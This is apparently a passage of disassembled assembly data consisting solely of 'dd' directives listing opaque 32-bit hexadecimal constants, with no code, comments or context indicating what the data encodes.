		dd 7EBC5058h, 3D7863F5h, 0E553DA00h, 9756A9CEh,	720E00FDh
		dd 2FFB6D12h, 23009203h, 690F2170h, 0F00265B7h,	0FFE01D19h
		dd 3EEBC09Bh, 0A2582ABEh, 82AB8D09h, 6A1C236Dh,	4B3BB8B7h
		dd 34E800F6h, 0F804D7BAh, 5A004915h, 0D30CEF81h, 1F8FB5CAh
		dd 837B6505h, 995A23Bh,	1E518180h, 0B5008CE4h, 0F950B848h
		dd 4D2EC0h, 0A29775Bh, 0E088EE9h, 0CAF0EE00h, 4F7D2790h
		dd 0E1A03E89h, 0C55B7C02h, 0B06818FDh, 0C019D19h, 0DC8367C3h
		dd 0C140A1CFh, 5219E0Ah, 39783754h, 0F56EC348h,	0DF5FEBE9h
		dd 1F3ABB98h, 0DCB49D03h, 0AF6C3E4Ah, 0BCF7C730h, 0C69B00CAh
		dd 25BD0372h, 3203F935h, 0D273B5EBh, 9ED1C843h,	0B78600CDh
		dd 11583851h, 9400442Eh, 131E5BBCh, 7CD369B3h, 0C476006Bh
		dd 448FB9D4h, 382EFE0Fh, 19006883h, 0D3CDABC0h,	6CE50039h
		dd 9447539Fh, 0FA1FB11Dh, 6B838FEEh, 0F7757D25h, 0D08683h
		dd 5BA47411h, 0D4043A27h, 87AFE438h, 0D9D21E63h, 0FEEB7710h
		dd 0FCAC00A8h, 655DD1Ch, 9D031DCDh, 5F324080h, 6B34E0E7h
		dd 0FA8F005Eh, 84DF24F7h, 0EE00CF27h, 2686DD8Eh, 1C55AABFh
		dd 85F172A7h, 296D7Eh, 0A0CBDEFCh, 0CC017333h, 0DB2A4FC3h
		dd 0A4702BA8h, 8722Dh, 18FE6622h, 0FC5BC68h, 6780D60Fh
		dd 0D409C061h
		dd 0CE8CCBh, 648FE9C6h,	65C08DC3h, 230083EAh, 2B9D1A95h
		dd 3979ACCFh, 888716FEh, 0F09AFCA4h, 0C9F6CC80h, 7C007AFAh
		dd 5C43B99h, 213D82Fh, 73D657E3h, 0BCC0DE85h, 4C3CA241h
		dd 1682809Ch, 54474E9Dh, 63AD000Dh, 40CFAA37h, 1500A102h
		dd 0D510E868h, 501AE0CEh, 992B04Dh, 4F8E7EB2h, 8AB85000h
		dd 2B49ED55h, 982E0058h, 8721966Bh, 0CCF809FFh,	0A4804CF7h
		dd 778BA0C5h, 0D2818800h, 0E05111C7h, 34E90033h, 1E373C78h
		dd 4601C8D7h, 211A3ED6h, 4CD80D9Ah, 47C00E7h, 0E9D02B11h
		dd 0AF0122DEh, 79180690h, 63F881ECh, 32BB0086h,	3744F6B2h
		dd 72043FACh, 2061799Ch, 0D138BBE8h, 0B11E9201h, 7AE02B04h
		dd 79D70101h, 35F43E12h, 0D4A23BC1h, 0CE9B0070h, 3B979F4Eh
		dd 84784085h, 0E59DF39h, 0C0B9ECEEh, 12E7DF2h, 8207004Ch
		dd 6CFB47E7h, 1812C58Fh, 0BC40DA5Fh, 0A499683Bh, 70434C66h
		dd 61A03D00h, 0E103BFD7h, 5C78BE00h, 0BAC7945Eh, 0FE510002h
		dd 0DBCA8A49h, 6700F280h, 1836DF35h, 86E4B5h, 0E2B2D3DCh
		dd 81BDA11Eh, 0FAAAAD0Fh, 0EF05206Eh, 0ABB410h,	4BE9491Ch
		dd 1257E578h, 0F902A874h, 72A12EF4h, 0FB88603Dh, 0B4B70EB3h
		dd 3AE307D9h, 70F0CE98h, 0C2006F33h, 30E4F2EAh,	22744Ch
		dd 0BC764893h, 0A0B2108Fh, 8F8AB93Ch, 7A18D0Ch,	9A802264h
		dd 0BD715Eh, 30659D59h,	0EB2B7EC5h, 0DD2D4407h,	19505388h
		dd 38BE9952h, 0C70A77CAh, 7B13E39h, 9DF7238h, 80683204h
		dd 7EBED89Dh, 60005175h, 0A732E1DCh, 9E3ACFh, 0E4CB5076h
		dd 0B6132E16h, 3CECEA00h, 7488AC5Ch, 6F90777h, 80FCD629h
		dd 24912BD0h, 6DAAB900h, 7066C6D9h, 1D0FEA87h, 0C07CEDC4h
		dd 55A072C7h, 5200C521h, 1A46DEC0h, 24209402h, 405CDC3Dh
		dd 0A85BCE79h, 2E0755ECh, 0AA560929h, 0D0A03283h, 1C5BEF0h
		dd 465E73A4h, 0EA9C1054h, 78B0BA40h, 9ED22326h,	91DCC00h
		dd 3C906BFAh, 0EB802E69h, 6A801B0Eh, 61059F7Fh,	0FF55E37Ch
		dd 0BFD21880h, 0EF260338h, 51E52593h, 4A980493h, 0AD030CC9h
		dd 2B3E6F6Bh, 0F950FF0Ah, 1014B5Ah, 0E92E6E04h,	6FF15C5Dh
		dd 0BD1A0h, 0E01EC6D3h,	0A6D020B9h, 0BF1FCF00h,	0EE2315FEh
		dd 1C6900CAh, 0A06F35Ah, 2B00AEB2h, 58D2C42Eh, 2C94A3h
		dd 3B088217h, 1A847E3Ah, 0A073D000h, 0AD7C541Bh, 50560075h
		dd 5214BF76h, 0B5000C2Ch, 0B5AAB33h, 0EA73D1h, 46A5F3Ch
		dd 658EBFEBh, 26AC3100h, 0F605D47Dh, 0F50E03D8h, 867B1A7Eh
		dd 807FD0BAh, 9E02CEB9h, 41D0E77Fh, 0FA87EE8h, 67312815h
		dd 0C205F1C0h, 9501AEDh, 0FC005284h, 62D57CC9h,	0C690A4h
		dd 9A75B61Ch, 0D6CD45D4h, 27101A00h, 5EB406A8h,	0BBA91783h
		dd 38280090h, 0DE1FD909h, 8EC1810Bh, 8B2821A0h,	0F3F882ECh
		dd 359A1372h, 0BF700050h, 5206DEE1h, 61571002h,	4031FA70h
		dd 44EA39h, 0B1EB6EDAh,	0B4CFD94Bh, 0AB4A7800h,	0D149D387h
		dd 7B180090h, 28C8CB26h, 3B00D6F3h, 0CDEDF076h,	22F69Bh
		dd 5CB71402h, 4829D279h, 4050176Eh, 27B81DA3h, 0D48B007Ah
		dd 0B5674A60h, 5200EFEEh, 0AE227E47h, 0A2D5E0h,	6C84DE9Ah
		dd 2F97FDC0h, 37BA7500h, 420D8772h, 0FBB70C20h,	9858EF1Dh
		dd 5D1C9AB8h, 1AC01636h, 47D5F8CAh, 450C0093h, 0B656DDA9h
		dd 0B20E793Dh, 0C4FFFA90h, 67C008E0h, 0F6D1363h, 1D05420h
		dd 7CC0716h, 7C67A245h,	3E520C00h, 0B0988Bh, 3182EFC2h
		dd 0A7952FCCh, 21396900h, 7B62181Ah, 1E2379B9h,	0C0C5DED0h
		dd 924524E1h, 0E639B752h, 172D0098h, 73779F7h, 0D8F6694Dh
		dd 5A612C10h, 0C91ED500h, 89FD5545h, 0EE2516CEh, 0C02C1F3Ch
		dd 0B9C87DCAh, 0D1009518h, 7CC6EA1Ah, 3D02E0B2h, 6001D19h
		dd 778734FEh, 0F92C4E8Ah, 0CC07C408h, 3A901BDFh, 0DC0B5Eh
		dd 15E74097h, 5A9BF4AAh, 0DE4A6300h, 52ABAF96h,	0A967003Ch
		dd 2099872h, 0AC0035C1h, 0ECFC879Ah, 1DB3BEFFh,	0C324E5BDh
		dd 0BFA6C668h, 852E7CD8h, 10789400h, 886266Eh, 504A00F6h
		dd 0D6DD847Dh, 0DE00B5C3h, 144063F1h, 9AE88Eh, 0AADC0DC4h
		dd 0B769431Ch, 0CDE39F00h, 37803C35h, 959C039Ah, 0C4550F46h
		dd 4BA0EAA3h, 0F93A48B6h, 243D9747h, 0E71A5403h, 859FB850h
		dd 9049EA77h, 4CF5180Ch, 0FC67613h, 8FCA5A00h, 0AB91C21Bh
		dd 18B400F2h, 21DB4971h, 0B648D85Ch, 17740139h,	6B8C270Eh
		dd 41DD5471h, 54602B31h, 607D28h, 0F3E3AF87h, 434F3992h
		dd 1738FFFEh, 219313FAh, 0E016951Dh, 41684C00h,	0CF582Ah
		dd 0DDAE2EBAh, 8CCE6985h, 0B113000h, 0A6F57D84h, 36B800A3h
		dd 0F8AAE697h, 761D406Dh, 508EDC25h, 576A8091h,	53D493Bh
		dd 0B0E612B1h, 1DBB804Ch, 0A9001336h, 4DB53A1Bh, 77C26CA8h
		dd 3949402h, 695C0354h,	85F330C8h, 537FD0Ah, 1700B734h
		dd 715F0F8Dh, 2B263DB7h, 3F4BAF82h, 88E07A03h, 74002959h
		dd 65EACB41h, 9898CE83h, 7A4230D4h, 60865910h, 434DE601h
		dd 0EB63FA81h, 23D51883h, 8458647Ch, 0C7DA0898h, 22124Eh
		dd 96BEFC3h, 4E903DCFh,	3E25F100h, 925459DDh, 0A8580E90h
		dd 0C6C09834h, 0E1D1FE41h, 97123578h, 28C3774Ah, 0D57BF872h
		dd 1D2E243h, 3EBF4D2Fh,	70199F8Dh, 0B3006D4Dh, 0EC817D27h
		dd 247564Ah, 0A7C55B74h, 8C80E102h, 8BCECFA8h, 90A05425h
		dd 0F540BCh, 0CE23979h,	5A60D3FEh, 8D158600h, 5BAFBAD9h
		dd 0AB9B001Ah, 0CFDE25BCh, 722C6997h, 0EE0070B9h, 0A84FB3E7h
		dd 0F77A0177h, 0A86045Bh, 0C3C42488h, 0DCE7200Bh, 69248096h
		dd 38A2A13Ch, 14005B8Fh, 0B12AD24Dh, 0A3F403Dh,	14A3952h
		dd 0D51BF478h, 0EA60B261h, 71ED00DCh, 67FD5B7Dh, 11D6E6F7h
		dd 88989A00h, 0F3AF77h,	4890BED3h, 0E0DE3F7h, 8A049092h
		dd 1CEFE48Fh, 400E88C7h, 0C367CD5Fh, 258E009Ch,	392A5579h
		dd 40A064BFh, 0D1002BA3h, 0C9B02CBAh, 13D9448h,	0BF68CB53h
		dd 60337D59h, 0D00C73Ch, 0A8E0321Ah, 4B7941h, 85C191EEh
		dd 51E92BB3h, 0EABDCB00h, 0E777CF8Dh, 0AD8E2528h, 0A9A79C22h
		dd 834BECE0h, 4480FB0Fh, 85CA8885h, 805E8D53h, 19265A2Ah
		dd 0F412A901h, 5D93DA78h, 9850630h, 0E190FF0Fh,	0A362D880h
		dd 9E28DB74h, 2B01F42Dh, 5568B07Bh, 0A640FB17h,	0B1DA1Fh
		dd 0DEDF6179h, 0CF10600Ch, 0BDE6EE00h, 8FB50D92h, 1788006Ah
		dd 3C0AAEE4h, 8B00B11Ch, 0C41F4C84h, 0DE0547F3h, 3F17C0F8h
		dd 741A57FEh, 8842CA00h, 0B9760EC8h, 0EE020068h, 49434499h
		dd 0B89EF885h, 0C910F901h, 4BEC847Ah, 1D930FF7h, 73C280h
		dd 58923C7Bh, 6800C781h, 0B29E9965h, 0B52825h, 0EE1FB2Bh
		dd 57365BE0h, 0C552F800h, 0FEE230E8h, 0C11E09E3h, 0A040641Dh
		dd 50CB1C80h, 0D7A88094h, 1CB66845h, 0DEE4785Bh, 7280FF4Fh
		dd 796282BBh, 0CA00381Ah, 0E0E7046Eh, 2E0C65h, 0E6F63198h
		dd 0C7C2644Fh, 28AE4Dh,	81E003FBh, 75726C0h, 1DB3D2FAh
		dd 0A4F21063h, 0B9007889h, 0BA22933h, 2A6140h, 6B60AEC4h
		dd 3646769Fh, 0F19B7A00h, 0A8C68272h, 3D0B0EBFh, 0A7460448h
		dd 31001099h, 0C663C00Dh, 479F1Ah, 0F93E4334h, 15C3030Ch
		dd 613AB400h, 0C0CC21F4h, 0E1080BB9h, 0ABF041E5h, 0FED60200h
		dd 1ACF6E95h, 0BE4706Ah, 693B242Eh, 0D74CF580h,	0CB00889Eh
		dd 5A72EFAAh, 753A823Eh, 0BADF00A2h, 9B815142h,	1DE095D4h
		dd 0F879AD01h, 0EDCEF40h
		dd 54C7E0h, 150530FFh, 0BEB68BA5h, 7262E31Dh, 0EFA6140h
		dd 7581F32Dh, 7ADE00E8h, 877FB59Ah, 0EB00B933h,	8AD4CBDBh
		dd 3C611AE0h, 46006D51h, 0F606D059h, 4F01CFDDh,	0BB8453Dh
		dd 87F8DB1Ch, 42370043h, 55572F30h, 0A5003C70h,	0EF4F58CEh
		dd 0B9D22D9h, 2BA1B77Bh, 0F4B02380h, 0B00BD30h,	0ADA0B42Ah
		dd 279E76h, 8F9728A8h, 206FD038h, 537D3F03h, 0C80F3185h
		dd 0E1FB6ADh, 1B5B1C79h, 0AC8967A0h, 7672A330h,	61C09D78h
		dd 0BA57A602h, 8AD70144h, 952072E8h, 0DD11D058h, 0AB7C841Eh
		dd 7E3B1E40h, 4333D4h, 7BB957E9h, 4407D894h, 842528C5h
		dd 612C7D80h, 15B31678h, 0ED159Eh, 7486593Fh, 3101FCA0h
		dd 0E05AA00h, 0A21A9590h, 9BEAA9h, 0E7FD803Bh, 51B70882h
		dd 0DD424Ch, 7DD3663Fh,	0E2AAE9h, 34C5B9A9h, 0F19EEEB3h
		dd 1C5ED600h, 638040DDh, 0C4511EA1h, 49160010h,	1D01AC65h
		dd 0E96EB300h, 9628DDBh, 0EC2DE48Bh, 9D323E5Bh,	84B43C14h
		dd 7EF0952Ah, 0D526004Dh, 9B5C5DEFh, 0DA305FA6h, 0F89FB924h
		dd 0E9C63A17h, 0FE254307h, 8D09909Ah, 3D0014C2h, 7A481D27h
		dd 9D0447h, 3FA52FC1h, 0BE45AB41h, 0B80174B0h, 0DF37C615h
		dd 0FDD0CF07h, 970E01A9h, 27B2A188h, 0C044D085h, 3BFEF500h
		dd 0B7CD90DBh, 0F6AC004Fh, 0BA42A740h, 1851A1FDh, 0AAEDD4ECh
		dd 0C0697239h, 19EEACBh, 0E814B32Bh, 0F442C187h, 94034632h
		dd 5712C737h, 3DF4A020h, 41E0350h, 30F09845h, 0E4C6590h
		dd 7902B8EEh, 9DE2E622h, 0E1B4E04Bh, 5CE724BAh,	20E500B0h
		dd 0BD4AD2B0h, 1146F300h, 475054Dh, 0C4363D93h,	88407680h
		dd 0C5B2A92Fh, 899A3Eh,	0E9EB5C50h, 98F1A4Fh, 4B955B0Ch
		dd 2F5CB00h, 0D900B4CCh, 8BB1E34h, 0F72C168h, 49B88ADAh
		dd 78285A00h, 0D2038982h, 0AD509C96h, 0C7C04C3Ch, 6857A800h
		dd 0CE9F54E5h, 56ADB00h, 426CA3AFh, 0DA2200C6h,	0FBACE9D8h
		dd 0A973FE73h, 0E101F173h, 472A65AFh, 2470E509h, 27F200ACh
		dd 924A5B6Ch, 39016DE7h, 0B6BC5011h, 36F98FC4h,	2A570h
		dd 0EF87C7D3h, 6586066Dh, 0DD079E0Fh, 192E009Dh, 4E2DF75h
		dd 7999F48Bh, 8011D748h, 0FE5E7CC7h, 2B14A000h,	0B3FC3DF8h
		dd 4C05EE1Fh, 0A201D789h, 5AF00ED5h, 0D08CF5D6h, 21003A76h
		dd 24A47871h, 0EB2F58h,	46C90144h, 2B155497h, 204C3100h
		dd 66E02506h, 60FCA2E5h, 0FEE7F05h, 626ADE1Eh, 0A278B380h
		dd 0C7011A09h, 0E7353B9Fh, 80CC57D1h, 0F1B40314h, 21CEA03h
		dd 0C76C7098h, 5803D098h, 1ED9DF90h, 650590EBh,	743400FEh
		dd 5064E504h, 0A3001B5Eh, 5193D533h, 692272h, 157C8CBh
		dd 0B4605FFDh, 1180310Eh, 845A41BCh, 9860D7B5h,	321200F4h
		dd 927E3DEBh, 0A4FA6830h, 83E10900h, 65B33A02h,	0E07A61h
		dd 0B8E7DE18h, 0A95A88C6h, 984CF103h, 887B73A6h, 1C5C341h
		dd 49F5534Fh, 60F1F602h, 6702254Ah, 3754E845h, 508080D9h
		dd 7D7E27h, 0CE40ACC3h,	64C657CDh, 13249C4Ch, 6B051AD0h
		dd 44805359h, 0A37A03h,	0C0317E9Fh, 414C2CE6h, 0CAB13D02h
		dd 40BAFA79h, 5A1EC28h,	1D8AF095h, 0E5C4470Fh, 2726701Ch
		dd 2E036673h, 0C52850A9h, 0B93AD095h, 0DC4B0094h, 0BF5AFCABh
		dd 82ECF2F7h, 888A9B00h, 7F9A9906h, 0E0100084h,	9146070Ch
		dd 2F755E71h, 0A8F82C05h, 0BCC03C83h, 105445h, 67D505FEh
		dd 2C57739Fh, 80752E3Fh, 0C1FB33FAh, 67AA55A5h,	0C0997AF9h
		dd 14B15E2h, 4AEA100h, 9F2F3E7Bh, 0E75600A7h, 78753CC8h
		dd 0C700CB31h, 79E05308h, 3D9E6660h, 0DA8FAC57h, 4F00E8C1h
		dd 0C9E45C33h, 0EEB0096Fh, 0ECD3405Bh, 902DB1h,	0ED27E091h
		dd 5CFC3FBh, 7AD67E00h,	0BE62691Dh, 24CA7560h, 0F70B0DFh
		dd 4120106Ah, 96D65B8h,	0F54C9B00h, 66D4A22Ah, 6F7101F3h
		dd 9E5F89C7h, 0F6E1E816h, 4D413100h, 834E554Ah,	0B345005Eh
		dd 0B640518h, 9917E95Fh, 0B70093F0h, 0BE7389D8h, 0A68600C0h
		dd 2BF45E82h, 4000FEA4h, 7976E1ADh, 1294E5h, 75476D96h
		dd 0CCBF2C1Ah, 0FF5DC702h, 0C09320CEh, 69A563h,	0E3087571h
		dd 0C4ADD123h, 33622C00h, 0F5F08446h, 0A27F0168h, 0D9852A11h
		dd 0B279703Bh, 433CE300h, 4C1B603Fh, 648D0190h,	44028F14h
		dd 0EA7EC8E5h, 6201D2FAh, 0C93910FDh, 887ECAAh,	0F6DA5Bh
		dd 68661540h, 4F827600h, 0F7CCC422h, 0DFF4077Dh, 0D0BE6571h
		dd 94175B0Ah, 80D0E53Ah, 30B132BFh, 193D8Bh, 2A407CA9h
		dd 0CCEEB83h, 966FE600h, 4BBD9DF2h, 0EF0100FDh,	4C8786Bh
		dd 0AB0085EDh, 48D463F3h, 143F93h, 121F26Ch, 78382232h
		dd 1D750600h, 0DEA562BCh, 0E79906D1h, 10699E45h, 0DCC0F01Ch
		dd 502B5180h, 0C36166Fh, 63D043DBh, 0A40F5220h,	0A732C5EFh
		dd 8CE0209Fh, 0D7B096h,	4999E8D8h, 8BA0E29Dh, 0F8037507h
		dd 22719501h, 0D6C577D1h, 3D3EC4h, 0D0CA1B9Ch, 54AB092Dh
		dd 39F158h, 470CEA6Ch, 28EE9h, 83947815h, 8A3171E4h, 84DB1700h
		dd 0E0A4CAB6h, 0F2A7095Bh, 0B2803CAFh, 53D80CC1h, 11903Ah
		dd 0A989D9B7h, 3D72E294h, 0F280182Ch, 66FE0D82h, 2A00789Ah
		dd 65B24B77h, 3AABD645h, 2E007BDEh, 0A8547EDh, 0FE00B968h
		dd 0B3B298D0h, 4CC289A1h, 3775337h, 3CAEA793h, 7900B9E5h
		dd 1C770965h, 312D75h, 0A8DEAA49h, 480AB2C3h, 7D1688A8h
		dd 54091503h, 88385121h, 8AF990h, 298E611Eh, 527B45E4h
		dd 0CE22F500h, 2A7A85D1h, 0E9F7801h, 7FF940CBh,	0F3307B40h
		dd 413DE7F1h, 733600F8h, 322DD73Ch, 3BDA003Fh, 1A5D9D38h
		dd 65005840h, 0F711117h, 1F8C3C7Ch, 0C09266BEh,	3144D3A1h
		dd 4200C8B0h, 0AD69F3FDh, 1D89AE13h, 0C077A0A8h, 37DEF17Ch
		dd 3D0063F8h, 2B6CDDCEh, 3DD273DBh, 0E1801483h,	0BDE9B041h
		dd 0E1F61C3h, 91408877h, 992498F7h, 0EE940035h,	7C13541Ah
		dd 7500A1A0h, 0F2EB8B3Ah, 103142h, 0ED8ED00Ah, 0AEEEBF8Ch
		dd 0F984FB00h, 1703FF2Eh, 987F0038h, 89427E5Ch,	0FA00E7F0h
		dd 1AE14D7Bh, 0E0210Ch,	9A04EC80h, 0AB7719A9h, 0DD5E300h
		dd 25F6487h, 53E500C4h,	3416C3D6h, 3C00BC7Eh, 0E05486A7h
		dd 0C2B0DAh, 6FBB0ADCh,	0E6A3F128h, 0D900CAB0h,	777BF46Bh
		dd 0FA858FE0h, 6E10C06Ah, 674709A1h, 0E4D2B516h, 69CF7507h
		dd 0B6BFAFF0h, 785D002Dh, 2670F9C7h, 9C7D0F50h,	2200BA76h
		dd 1B44C24Eh, 3C6635DBh, 7100E989h, 0ABEC34D3h,	81007376h
		dd 0A60AF85h, 3BB7B377h, 0C9CC1579h, 385A5430h,	0D800CF81h
		dd 8992477Ch, 0E81F3120h, 0E0DB4B3Eh, 91C03C1Ah, 0B99B1A38h
		dd 50D00A7h, 0B6D06F51h, 0D300F7F1h, 3B9719C5h,	0F40B94Fh
		dd 0F921469h, 9C2DCFE3h, 0EC31D7B1h, 0AC0002CAh, 0E8A8FED1h
		dd 30D4F142h, 6D30983Ch, 4D13EC2Ch, 3900AA74h, 0FAA95576h
		dd 0E476DDh, 5410AF64h,	0B50C7BFEh, 4F435800h, 4B87C4D2h
		dd 0A83300DDh, 0C885BE08h, 6902AB13h, 7058C173h, 31284016h
		dd 0A60744Eh, 101CB68Ah, 44290098h, 0FFF889A2h,	6811FD00h
		dd 4CEA9F15h, 39B4623Dh, 23114B48h, 995F2610h, 0CD02FE0Eh
		dd 0B394A061h, 27DABBh,	0C9B8D3ACh, 0B92E5338h,	50C4A47Fh
		dd 98481DCDh, 7483A000h, 3BDD339Bh, 3500A71Ah, 23B5D9ECh
		dd 0DCEE386Ch, 97908500h, 4DFCE433h, 0C39F0DEh,	3502DAFh
		dd 8F00A4DAh, 993C191Bh, 81FB40h, 0C40D2612h, 53A3B882h
		dd 86D6DB02h
		dd 40969559h, 0D9C87Ah,	0F3BBA055h, 44BE7EC1h, 6A0D2A00h
		dd 996421AAh, 80C76025h, 6B637A69h, 0A500F57Ch,	90345CB8h
		dd 0D3BB41h, 7A36F716h,	0D5519F8Dh, 0A7BE1200h,	15C322CDh
		dd 44E0AAh, 0A0EAEF74h,	929D3FEBh, 0AF557000h, 1EE0D10Dh
		dd 6C45137Ah, 2E8101DFh, 60D8CB20h, 0BF00D307h,	85FA2A7Bh
		dd 7F037863h, 0C98600F5h, 8029D80Fh, 0B47DCDACh, 0B0FADC13h
		dd 0AA1BF0h, 2B24882Ah,	6B1A1257h, 117F3E00h, 2F5ADDC3h
		dd 0E2910042h, 0CAA915AEh, 320320B3h, 0D0B435BAh, 443AD876h
		dd 978F1A27h, 0D8C078F9h, 64761924h, 1ED6961Ch,	0B5662F00h
		dd 923DE9h, 0AFC12B17h,	0A474D015h, 88A038h, 31650332h
		dd 17580F5h, 84AA0DCDh,	0F44E79CAh, 0D97B5C3Dh,	33001C75h
		dd 7EDAB108h, 3D48098h,	7792378h, 58881A41h, 214C5EB6h
		dd 3EBA0019h, 33E1EFF8h, 0F70100BEh, 735D312h, 0C0EE9643h
		dd 9ACB870Ch, 5B2A2Bh, 0AC67CC8Ch, 9DBE3F03h, 39BFF806h
		dd 0FEE40Ch, 0ED2AF396h, 0B0C2AB0Dh, 0B43EC6FCh, 90A8A21h
		dd 0A10DB48Fh, 0E5F41132h, 97C4004Eh, 0C6DD1F9Bh, 0F6FEA2F9h
		dd 0CE88F309h, 0F1080045h, 758DA13h, 3D0DD6BAh,	0F09B063h
		dd 86006E2Ch, 61531DCEh, 23E14Bh, 91748D1Bh, 16DE1C9Ch
		dd 0CD923200h, 263E0CAh, 0E40B0F9Eh, 0FEA0408Ah, 0B5BA1399h
		dd 0CFD9AA00h, 4968501Ah, 8833000Fh, 23AD59D1h,	3814F73Ch
		dd 0B057A2h, 8E996FDBh,	3E54CCh, 10B08B90h, 0B436F0C2h
		dd 0BC58E6FCh, 256020Ch, 0E01883F5h, 12220462h,	0E80AAFh
		dd 6C51C1CBh, 0B8077BC5h, 0F3288B02h, 8F4A150h,	7249130Eh
		dd 0E4F101DFh, 0F089A5F7h, 0C81C25D0h, 21F0B110h, 19BAC74h
		dd 0E89DE4EEh, 0F0C40EB5h, 3303D25Eh, 0CEBDB3C8h, 82E08076h
		dd 7C2C1D3Fh, 9DD90BC6h, 10836400h, 2D032509h, 0D7D1E262h
		dd 573000BBh, 986A6FBFh, 0FC00F294h, 0CC2F4092h, 3AD150Ah
		dd 856B84DCh, 4FB887EEh, 6501A0AAh, 9C35CA2Ch, 0CDE4AF76h
		dd 645005Dh, 42C7BCE7h,	9F035F90h, 35AE7077h, 0B618030Ch
		dd 259AD794h, 0A87D1EE8h, 0A9462B00h, 0EC62967Ch, 0ABF01F83h
		dd 0CE09C03Eh, 0E1F124C3h, 57E827F2h, 5D1B6300h, 797FE605h
		dd 4B3901D8h, 0EF54DBECh, 7DC3DC76h, 6919C802h,	0E0026553h
		dd 0FA48681h, 9BB9373Ch, 0F99F12A0h, 9007EE58h,	1B68CCEFh
		dd 0E026C490h, 0B39E00E2h, 0D1F76436h, 5A3B49FAh, 22950CC1h
		dd 0CA4200Fh, 0F2C2DA89h, 8C1D1098h, 0DF00F441h, 0B55DF51Fh
		dd 0D38507EFh, 0F04EC1FFh, 9D578AB2h, 0F8E8D200h, 0DB314993h
		dd 513F00DFh, 0FECABEC7h, 5609DCA9h, 804DD561h,	0EC193562h
		dd 2E0B139Dh, 0F57300BCh, 0D822699Ch, 0EAC1E100h, 903A86D0h
		dd 0D28800C5h, 20D52E55h, 76094354h, 0FC1DF75h,	0DA604014h
		dd 953B8AAFh, 0BD1479C0h, 0FB42D000h, 4E121DB1h, 0F0CF5BF2h
		dd 8B3CA995h, 0CC7D0752h, 20C0FFEFh, 21C7A76h, 2C67BD9Eh
		dd 98405944h, 0CCA8ABB3h, 0D3039641h, 0F6F36EC7h, 218CD898h
		dd 0C43700F9h, 4663A6FCh, 0B4E4801Ch, 8015563Bh, 0B7715007h
		dd 0BE11983h, 0EA874292h, 735DED80h, 7A4C9F32h,	962D0061h
		dd 18F9936Ch, 0A4690023h, 68435F56h, 48007359h,	1F6E0D7Ah
		dd 0D624C2h, 0C41EE1DBh, 0BAF704AFh, 20F4EF26h,	41409024h
		dd 0DDABA6h, 8FC66B83h,	0B266104Dh, 2A2F200Bh, 52FD80D6h
		dd 1F5E671h, 5FADDF70h,	0F4981BF3h, 27179B67h, 9F091E7h
		dd 6BA700FCh, 80BA577Ah, 743A4EE6h, 7FB0806Fh, 0E2E7F5D1h
		dd 1E30FEFFh, 80D9C047h, 0BB294217h, 0B702489h,	8799523Bh
		dd 941E8CE6h, 350849A0h, 92191E9Ah, 5DDC802Dh, 77BB4696h
		dd 0B4BCBF0Eh, 0FB40FE3Bh, 8A9923D2h, 26562411h, 3E4D0140h
		dd 0ECD7E745h, 6200D5BEh, 0CE50FC0Eh, 242AC38Bh, 1FD66C39h
		dd 0B8880E7h, 0B2E5E319h, 9D9A5800h, 1611BE5Bh,	94630028h
		dd 0C2EF749h, 0F21D5597h, 0ECC041A9h, 0B01D373h, 66F40042h
		dd 2F15F6D6h, 38007AD5h, 88723C8Dh, 2FF252Ch, 0ABA704C2h
		dd 0B8E13362h, 0B83FC4EEh, 26809200h, 0DCE9B3A0h, 13F000F2h
		dd 0EC1554E2h, 6414E61Eh, 489CC605h, 6B7906B4h,	10BDB9h
		dd 44183D8h, 35B8992Bh,	13249314h, 94F207D6h, 0B9B06EEFh
		dd 0F0CBB370h, 0CF201287h, 0C2C8004Dh, 84F6147Ah, 0C6EBA701h
		dd 31DAEF3Dh, 0DFD9C4h,	0D4852B40h, 68BBE40Fh, 0EFF2DB71h
		dd 0A101BCEEh, 25BD8B66h, 24FB08F1h, 0C1F91h, 0FBF9FF27h
		dd 4303A9E6h, 74A8DD8Fh, 6DA0CF41h, 335796Bh, 95DBC2Fh
		dd 68E02BBDh, 0C800A593h, 147315CCh, 420461h, 0D0ECB9A9h
		dd 7BB30543h, 1B49BF0Eh, 0AC40B2DBh, 112A890Eh,	8D1D0081h
		dd 2279998Ch, 0FC3F19E9h, 809A01AAh, 0CF116BDh,	1A7D660h
		dd 929E48BAh, 0F425C373h, 0B8007EF8h, 426F5505h, 26A0E38h
		dd 5EA8E126h, 0FC656179h, 0BF4C92h, 0C765FFF3h,	900E1F7h
		dd 2FB5D122h, 75FBEAh, 385736A3h, 0AE5066EBh, 0D9C5C60Fh
		dd 4055AF4Bh, 88E828E2h, 0B65E0060h, 667A022Ch,	0FE0F76A7h
		dd 0E4DA5B9Bh, 0A4D0FD36h, 71626Fh, 9D5C0250h, 0B374DB0Ch
		dd 0EA9CFE01h, 0D5EBF61Dh, 2E94E4h, 0FCB242DAh,	8E49D2E6h
		dd 6BFEC200h, 0B54E1067h, 0AE1009Fh, 63652270h,	3B2E35C6h
		dd 8700DCF3h, 40D5ABD2h, 91DA02CBh, 1BDD3EFDh, 0FB0BDC68h
		dd 0EA824D00h, 0EBF46A06h, 96EF01E9h, 0B969656Dh, 3F54D440h
		dd 0C31DBF16h, 0BAA68401h, 46C91551h, 0BDE485F9h, 70060018h
		dd 9984EFF3h, 0FC01AF65h, 43B3C417h, 4420E867h,	8A720024h
		dd 0CB3E3DB6h, 0EE1DD17Eh, 8C3A87CCh, 90580893h, 0C9A71BC2h
		dd 0E9C0306Ch, 8D1D78CFh, 2906E7EAh, 3E18B64Fh,	8000C7EBh
		dd 55F445D6h, 0D1007D15h, 1E9EAABh, 0AA55C38h, 0F793054Bh
		dd 9ED9002Ch, 6EB9B6Bh,	5E6D0103h, 0B8D7FBAEh, 0EB72B72h
		dd 98CC16D1h, 193CA9Ch,	6BAC801Ch, 3406E841h, 2F98FC00h
		dd 0D30E0911h, 7C2B7B19h, 4E3A3D73h, 406EC09Ch,	42ACD6C1h
		dd 0A032FF2h, 6D16F984h, 0F10CC87Eh, 0C219004Bh, 0A3E2CF05h
		dd 0D005B8Ah, 0CD32A41Fh, 1D574A64h, 0C0FD9A88h, 0A1E9B2A5h
		dd 2A00050Fh, 66FA7E27h, 3A246051h, 100A6E2h, 721EA8F6h
		dd 0FF04A54Dh, 637BF7FAh, 5DC400FAh, 6F270AE0h,	339B6803h
		dd 0A0E7DAB4h, 0D9B278h, 9C888A3Ah, 0EA0272BFh,	3BA87F00h
		dd 4F3DCF65h, 8D513A7Ah, 0EB73450Eh, 3ECC5D60h,	0FDE257E8h
